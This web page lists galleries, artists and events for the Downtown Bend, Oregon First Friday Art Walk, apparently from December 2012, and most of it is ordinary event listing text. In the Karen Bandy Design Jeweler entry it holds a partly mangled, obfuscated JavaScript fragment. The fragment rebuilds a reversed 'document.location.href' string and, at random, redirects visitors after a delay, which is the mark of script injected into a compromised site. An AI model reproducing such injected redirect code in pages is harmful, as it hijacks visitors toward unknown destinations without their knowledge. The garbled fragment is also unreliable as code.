First Friday Art Walk Map

Downtown Bend First Friday Celebration


First Friday Art Walk Map


1. Atelier 6000 541-330-8759 2. Bend d’Vine 541-323-3277 3. City Hall 541-388-5517 4. Desperado 541-749-9980 5. DeWilde Art Glass 541-312-0131 6. Franklin Crossing 541-382-9398 7. John Paul Designs 541-318-5645 8. Karen Bandy Studio 541-388-0155 9. Lubbesmeyer Studio 541-330-0840 10. mapping | contemporary 541-419-9836 11. Red Chair Gallery 541-306-3176 12. Sage Custom Framing & Gallery 541-382-5884 13. Strictly Organic 541-647-1402 14. Tumalo Art Co. 541-385-9144

Art in the Atrium at Franklin Crossing 550 NW Franklin, celebrates First Friday with Oregon Wine in Art, a fine art exhibit featuring woven paper designs by Alice Van Leunen.
Van Leunen’s Wine Country Quilt Series features mixed-media paper artworks based on traditional Log Cabin quilt designs. The paper is woven in a “waffle weave” pattern that mimics the pieced-fabric Log Cabin designs.
The current Wine Country Series combines the artist’s unique techniques with her passion for Oregon wine. These artworks celebrate Oregon’s place as one of the world’s leading wine-producing regions, with Log Cabin blocks composed of collaged labels from Oregon wineries with many Oregon vintners furnishing labels for the art
Following the artist’s 30+ year career, her art appears in numerous collections including General Motors, Calvin Klein and large-scale collaborative commissions such as the High Magnetic Field Laboratory in Tallahassee, Florida. In 1993, the Oregon Arts Commission awarded Van Leunen an Individual Artist Fellowship for her unique imagery.
Noi, the newly opened Thai restaurant at Franklin Crossing, will serve appetizers and wine with Bella Acappella’s vocals of Holiday arrangements and the popular Tommy Leroy trio performing jazz. Billye Turner organizes exhibitions for Franklin Crossing and provides additional information at

Atelier 6000 389 SW Scalehouse Ct. Suite 120. 541-330-8759, Presentation: two exhibitions are highlighted: Branching Out: invited artists and Atelier 6000 members investigate “Branching Out” as a metaphor for exploration into new imagery and technique.
Objects: In the spirit of the “handmade.” This exhibition epitomizes small revered objects d’art we desire to collect and admire for their unusual internal spirit.
Art Talk at Atelier 6000 Wednesday, December 5, 6–8pm. The Language of Prints, What does it all mean? Multiples, Limited Editions and Unique Selections? View print collections and hear about the process and techniques of printmaking while learning the language of prints.

Bend City Walls at City Hall Exhibition 710 NW Wall Street. 541-388-5517, City of Bend Arts, Beautification & Culture Commission’s (ABC Commission) fifth City Walls at City Hall art show, UNSEEN::WORLD, has been providing a clever and exciting way to inspire community through art. Since it’s opening in October, visitors on First Fridays have been handed a ballot to identify objects from photographs (taken under the electron microscope) that inspired the artist’s artwork. During “Meet the Artists,” several of the 14 artists revealed their object of inspiration. Each artist drew one correct answer and those lucky visitors won a prize provided by a local business.
On First Friday the following artists will reveal their objects of inspiration: Ande Cardwell, Linda Gillard, Alan Huestis, Janelle Rebick and Vicki Shuck.
Prizes visitors can win include items from Visit Bend, gift certificates to Sunnyside Sports and Flatbread Pizza and gift baskets from local businesses.
Juried artists had been given extraordinary photos of ordinary objects common to Bend and Central Oregon and have been asked to create their art inspired by the photo of the object. Annie Muske-Dukes-Driggs of the partner and sponsor organization, Bend Research, took Scanned Electronic Microscopy (SEM) photographs. The nature of the photography creates an unrecognizable image of this common object. Objects too large for the electron microscope have been photographed by Joel Bailie of Bend Research, using macro-photography.
First Friday in December, marks the last time the show will be open during First Friday until the last month of the show in March. At that time, there will be a reception open to the public and a presentation to the artist receiving the People’s Choice Award. UNSEEN::WORLD can be seen during Bend City Hall business hours of 8am to 5pm, Monday through Friday. The show closes March 29, 2013.

Bend d’Vine on Wall Street and The Wine Shop and Tasting Bar at 55 NW Minnesota featuring Powskichic of Bend, a/k/a Brenda Reid Irwin (also showing at Barrio on NW Minnesota). 541-550-7174,

Cascade School of Music 200 NW Pacific Park Lane, on the Deschutes River, just upstream from the Portland Ave. Bridge. 541-382-6866. First Friday Parents’ Night Out…call to hold your spot. Kids age 4 to 12 enjoy supervised art and music-related activities, then end the evening with a musically-inspired, age-appropriate movie (complete with popcorn).

Cowgirl Cash 924 Brooks St., 541-678-5162. Maya Moon, local artist who makes handmade leather bags and accessories.

Desperado Contemporary & Nostalgic Western Store 330 SW Powerhouse, Old Mill District. 541-749-9980. Open First Friday and on Thursday December 6 from 4-8pm. Desperado is hosting a fundraiser for horse rescue organization Equine Outreach. Featuring artwork by Barbara Slater. With wine and hor d’oeuvres. ten percent of all purchases donated to Equine Outreach.

Hawthorn Healing Arts Center 39 Northwest Louisiana Ave., 541-330-0334. Featured artist Teresa Leigh Ander – DreamScape Painting Therapy.

John Paul Designs 1006 NW Bond St. 541-318-5645. Custom Jewelry + Signature Series. Specializing in unique, one of a kind wedding and engagement rings, pendants, cuffs, earrings, etc.
Karen Bandy Design Jeweler 25 NW Minnesota Ave., #5, 541-388-0155. =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}” target=”_blank”> Tucked behind Thump coffee and Aleda Real Estate is Karen Bandy Design Jeweler. Karen is a painter as well as a jeweler and will have new works just in time for the holidays.
As a way to give back, Karen is hosting Summit High’s art program and the Memory Project which pairs U.S. children with children from orphanages around the world. The U.S. students paint a portrait from a photo, a snapshot in time if you will, of the child. The painting is later sent to the child, and at that time a photo is taken of the child holding the painting. All of Summit’s ‘subjects’ are from Rwanda, one of the poorest regions in the world.
The portraits become one of the few personal keepsakes the children will have. This deeply emotional project benefits the student artist and the recipient in many ways.

Lubbesmeyer Studio & Gallery The Old Mill District, Second Story Loft, 541-330-0840, Snapshots offers small works in fiber and paint, including abstract landscapes and dramatic views of the sky on view in December. The Lubbesmeyer twins will be working through the holiday season creating unique original art for the art collector in your life.

mapping | contemporary Old Mill between Greg’s Grill and Buckle at 307 Powerhouse Dr., Elizabeth Quinn, 541-419-9836. A unique presentation depicting a visual narrative of our region by artists working in a diversity of mediums. This gallery pop-up not only maps a narrative of place, but also sets coordinates for Central Oregon’s contemporary artistic language and aesthetic. Curated by Atelier 6000, Art in the High Desert and High Desert Journal artists include:
Beth Yoe, jewelry and photography, Bend; Pyper Hugos, jewelry, Bozeman; Nancy Dasen, ceramics and printmaking, Bend; Alan Brandt, photography, Bend; Jim Leisy, photography, Portland; Ingrid Lustig, painting, Bend; Rachel Fox, book arts, Bend; Brian O’Neill, ceramics, Bellingham; Pat Clark, printmaking, Bend; Julie Winter, printmaking, Bend; Fred Birchman, mixed media, Seattle; Pamela Kroll, mixed media, Bend; Mary Ellen MacFadden, painting, Portland; Bill Hoppe, painting, Bend; Ron Schultz, encaustic and printmaking, Bend; Amy Royce, painting and encaustic, Bend; Chris Cole, sculptures, Bend; Randy Smithey, painting and sculpture, Tumalo; Randy Redfield, painting, Sisters; Holly Rodes-Smithey, sculpture, Tumalo; Shawn Moore, encaustic, Whitefish; Justyn Livingston, painting, Bend; Sandy and Alex Anderson, ceramics, Bend; Ellen Gienger, textiles, Bend; Patty Freeman Martin, painting, Terrebonne; Galen Ruud, mixed media, Bend; Peter Meyer, ceramics, Bend; Mark Rodriquez, painting, Fresno; Yvette Neumann, painting, Bellingham; Lynn Rothan, painting and ceramics, Sisters; Terry Gloeckler, paintings, Bend; and Pam Kroll, mixed media, Bend.
December 15 and 16, the work of Carla M. Fox Metalsmith will be featured in a trunk show.

Mary Medrano Gallery 25 NW Minnesota Avenue #12 (above Thump Coffee), 408-250-2732, Please stop by 6-9pm for open studio.

Mockingbird Gallery 869 NW Wall St., 541-388-2107, Impressions of Nature Featuring painters Troy Collins, a native of Montana, and Bart Walker who makes his home in Teton Valley, Idaho. They have spent a good part of their lives exploring the back county wilderness with its high mountain valleys and wild rivers. They are avid “plein air” painters who find inspiration and renewed motivation to transfer the boundless beauty of nature’s glorious color and light onto canvas.  

Paul Scott Gallery 869 NW Wall Street, Suite 104, 541-330-6000, Just down the breezeway opposite the Boken restaurant. Paul Scott Gallery to showcases new small works by artists Julee Hutchinson, Ned Mueller and Daniil Volkov this holiday season – perfect gifts for all. Gallery features regional, national and international fine arts.

QuiltWorks 926 NE Greenwood Ave. 541-728-0527. Featured quilter is Alice Pedersen and the group quilt exhibit is the Mt. Bachelor Quilt Guild’s “Favorite Children’s Book.” Thru January 30.

Red Chair Gallery 103 NW Oregon Ave. in the historic O’Kane building, 541-306-3176, Bethlehem Inn will be the receipient of ten percent of Red Chair Gallery’s proceeds during December. December’s exhibit in entitled Ice Blue features all of Red Chair Gallery’s artists showing their interpretation of the theme Ice Blue.  Artists are:  Ann Von Heideken, Annie Dyer, Beale Jones, Chris Eckberg, Cindy Summerfield, Debra Borine, Denise Mahoney, Dorothy Eberhardt, Eleanor Murphey, Gabrielle Taylor, Helen Bommarito, Jacqueline Newbold, Janice Rhodes, Joanie Callen, Joren Traveller, Julia Kennedy, Justin Kelchak, Kim McClain, Larissa Spafford, Linda Swindle, Melissa Woodman, Michele Gwinup, Shelly Wierzba, Stephanie Stanley, Sue Gomen-Honnell, Sue Manley, Suzy Williamson, Tricia Biesman and Will Nash. Red Chair Gallery’s partner owners/ artists are: Rita Dunlavy, Dee McBrien-Lee, Linda Heisserman and Lise Hoffman-McCabe.  


Rescue Moderne Consignment 910 NW Harriman Suite 150, in The Old Boomtown Building. 541-312-2279. First Friday Dec 7th at Rescue will be AMAZING!!! We have Harley Bourbon performing a free show from 7-9pm. Vintage Fashion show by See You Next Tuesday Collection at 6pm and Featuring the art of Micheal Smyth and Rosalyn Kliot…..and as always Cocktails by Crater Lake Vodka.

Sage Custom Framing & Gallery Exhibits 834 NW Brooks St., 541-382-5884, Adventures in Change reflects a lifetime of expanding freedoms and embracing change by Bend artist Renne Brock. Thru January 26. It is a series that mirrors her pastimes in the garden, travels across the country and treasured relationships. 
“I thrive on change as I find it exciting, motivating and surprising.  Change provides a challenge to my thoughts and my values,” says Brock. With a willingness to trust an inner voice, Brock can respond to insights, question assumptions, break rules, take risks and resolve structural weakness.
“Because my art dances on the edge of abstraction, many viewers see images and objects that appear without my intention. The viewers responses may trigger another idea and the creative cycle is reset to begin again. Observations generate ideas. Ideas require action and art becomes the medium to experience life with all its subtleties.

The Silver Otter 706 SW Industrial Way, Suite 100, Bend. 541-241-7818. Exhibiting a collection of locally made art and handmade crafts from all over the world. Americana/traditional music by Roland White and Jeff Sims. Serving some Christmas goodies and huge holiday sale, 25-50 percent off everything in store.

Tumalo Art Company at Old Mill District, 450 SW Powerhouse Dr. #407, 541-385-9144, Tumalo Art Co. artists have once again created their anticipated one-of-a-kind, original fine art ornaments. Our sparkly trees are full of delights. Little Delights features small works that are just right for giving too. Hand-blown glass, exotic turned wood, ceramics, mosaic, jewelry, photography, sculpture, little paintings and fine art ornaments make uniquely perfect gifts for everyone on your list.

Townshend’s Bend Teahouse 835 NW Bond Street Bend, 541-312-2001. Atelier 6000 Members. Original prints and mixed media prints by A6 members are highlighted in Inked Surface.

Urban Beauty Bar 5 Northwest Minnesota Avenue. Featuring Joel Fischer, an Oregon photographer, displaying his collection of photos titled A Journey Through South East Asia. “I think art should be affordable, so I developed a progressive pricing system,” said Fischer. “Five percent of all profits go to benefit the people of Myanmar.”


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